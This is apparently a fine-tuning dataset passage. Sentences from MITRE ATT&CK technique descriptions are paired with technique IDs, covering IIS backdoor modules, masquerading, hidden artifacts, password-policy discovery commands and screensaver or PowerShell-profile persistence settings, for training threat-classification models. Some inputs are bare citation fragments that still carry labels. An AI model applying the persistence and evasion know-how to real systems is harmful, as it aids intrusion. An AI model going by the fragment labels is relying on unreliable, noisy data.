Response: T1114.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens.", "output": "T1114.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. ### Response: T1114.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.", "output": "T1114.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords. ### Response: T1114.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems.", "output": "T1505", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. ### Response: T1505."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application.", "output": "T1505", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. ### Response: T1505."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW)", "output": "T1505", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW) ### Response: T1505."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence.", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IIS provides several mechanisms to extend the functionality of the web servers.", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IIS provides several mechanisms to extend the functionality of the web servers. ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests.", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Extensions and filters are deployed as DLL files that export three functions: <code>Get{Extension/Filter}Version</code>, <code>Http{Extension/Filter}Proc</code>, and (optionally) <code>Terminate{Extension/Filter}</code>.", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Extensions and filters are deployed as DLL files that export three functions: <code>Get{Extension/Filter}Version</code>, <code>Http{Extension/Filter}Proc</code>, and (optionally) <code>Terminate{Extension/Filter}</code>. ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation:", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation:", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Trustwave IIS Module 2013)", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Trustwave IIS Module 2013) ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic.", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ISAPI extensions and filters may have access to all IIS web requests and responses.", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ISAPI extensions and filters may have access to all IIS web requests and responses. ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation:", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft ISAPI Extension Overview 2017)(Citation:", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft ISAPI Extension Overview 2017)(Citation: ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft ISAPI Extension All Incoming 2017)(Citation:", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft ISAPI Extension All Incoming 2017)(Citation: ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation:", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MMPC ISAPI Filter 2012)", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MMPC ISAPI Filter 2012) ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also install malicious IIS modules to observe and/or modify traffic.", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also install malicious IIS modules to observe and/or modify traffic. ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters.", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IIS modules can be written as a DLL that exports <code>RegisterModule</code>, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation:", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IIS modules can be written as a DLL that exports <code>RegisterModule</code>, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ESET IIS Malware 2021)", "output": "T1505.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ESET IIS Malware 2021) ### Response: T1505.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site) ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Masquerading may also include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Masquerading may also include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool.", "output": "T1036.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. ### Response: T1036.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with.", "output": "T1036.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. ### Response: T1036.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program.", "output": "T1036.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. ### Response: T1036.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)", "output": "T1036.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017) ### Response: T1036.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unlike [Code Signing](https://attack.mitre.org/techniques/T1553/002)", "output": "T1036.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unlike [Code Signing](https://attack.mitre.org/techniques/T1553/002) ### Response: T1036.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": ", this activity will not result in a valid signature.", "output": "T1036.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: , this activity will not result in a valid signature. ### Response: T1036.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system.", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation:", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MalwareBytes ADS July 2015)", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MalwareBytes ADS July 2015) ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020) ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may carry out malicious operations using a virtual instance to avoid detection.", "output": "T1564.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may carry out malicious operations using a virtual instance to avoid detection. ### Response: T1564.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment.", "output": "T1564.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. ### Response: T1564.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance.", "output": "T1564.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. ### Response: T1564.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)", "output": "T1564.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019) ### Response: T1564.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries).", "output": "T1564.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). ### Response: T1564.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)", "output": "T1564.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020) ### Response: T1564.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals.", "output": "T1154", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. ### Response: T1154."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A common situation is a script allowing for graceful termination and handling of common  keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>.", "output": "T1154", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A common situation is a script allowing for graceful termination and handling of common  keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. ### Response: T1154."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism.", "output": "T1154", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. ### Response: T1154."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.(Citation:", "output": "T1154", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.(Citation: ### Response: T1154."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Trap Manual)(Citation:", "output": "T1154", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Trap Manual)(Citation: ### Response: T1154."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cyberciti Trap Statements)", "output": "T1154", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cyberciti Trap Statements) ### Response: T1154."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment.", "output": "T1201", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. ### Response: T1201."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110).", "output": "T1201", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). ### Response: T1201."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).", "output": "T1201", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts). ### Response: T1201."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as <code>net accounts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l", "output": "T1201", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as <code>net accounts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l ### Response: T1201."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<username></code>, <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code> (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies).", "output": "T1201", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <username></code>, <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code> (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). ### Response: T1201."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. <code>show aaa</code>, <code>show aaa common-criteria policy all</code>).(Citation: US-CERT-TA18-106A)\n\nPassword policies can be discovered in cloud environments using available APIs such as <code>GetAccountPasswordPolicy</code> in AWS (Citation: AWS GetPasswordPolicy).", "output": "T1201", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. <code>show aaa</code>, <code>show aaa common-criteria policy all</code>).(Citation: US-CERT-TA18-106A)\n\nPassword policies can be discovered in cloud environments using available APIs such as <code>GetAccountPasswordPolicy</code> in AWS (Citation: AWS GetPasswordPolicy). ### Response: T1201."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence by executing malicious content triggered by user inactivity.", "output": "T1546.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence by executing malicious content triggered by user inactivity. ### Response: T1546.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver)", "output": "T1546.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) ### Response: T1546.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows screensaver application scrnsave.scr is located in <code>C:\\Windows\\System32\\</code>, and <code>C:\\Windows\\sysWOW64\\</code>  on 64-bit Windows systems, along with screensavers included with base Windows installations.", "output": "T1546.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows screensaver application scrnsave.scr is located in <code>C:\\Windows\\System32\\</code>, and <code>C:\\Windows\\sysWOW64\\</code>  on 64-bit Windows systems, along with screensavers included with base Windows installations. ### Response: T1546.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The following screensaver settings are stored in the Registry (<code>HKCU\\Control Panel\\Desktop\\</code>) and could be manipulated to achieve persistence:\n\n* <code>SCRNSAVE.exe</code> - set to malicious PE path\n* <code>ScreenSaveActive</code> - set to '1' to enable the screensaver\n* <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock\n* <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)", "output": "T1546.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The following screensaver settings are stored in the Registry (<code>HKCU\\Control Panel\\Desktop\\</code>) and could be manipulated to achieve persistence:\n\n* <code>SCRNSAVE.exe</code> - set to malicious PE path\n* <code>ScreenSaveActive</code> - set to '1' to enable the screensaver\n* <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock\n* <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017) ### Response: T1546.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles.", "output": "T1546.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. ### Response: T1546.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.", "output": "T1546.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments. ### Response: T1546.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program.", "output": "T1546.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. ### Response: T1546.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code.", "output": "T1546.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. ### Response: T1546.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An administrator can also configure a profile that applies to all users and host programs on the local computer.", "output": "T1546.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An administrator can also configure a profile that applies to all users and host programs on the local computer. ### Response: T1546.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft About Profiles)", "output": "T1546.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft About Profiles) ### Response: 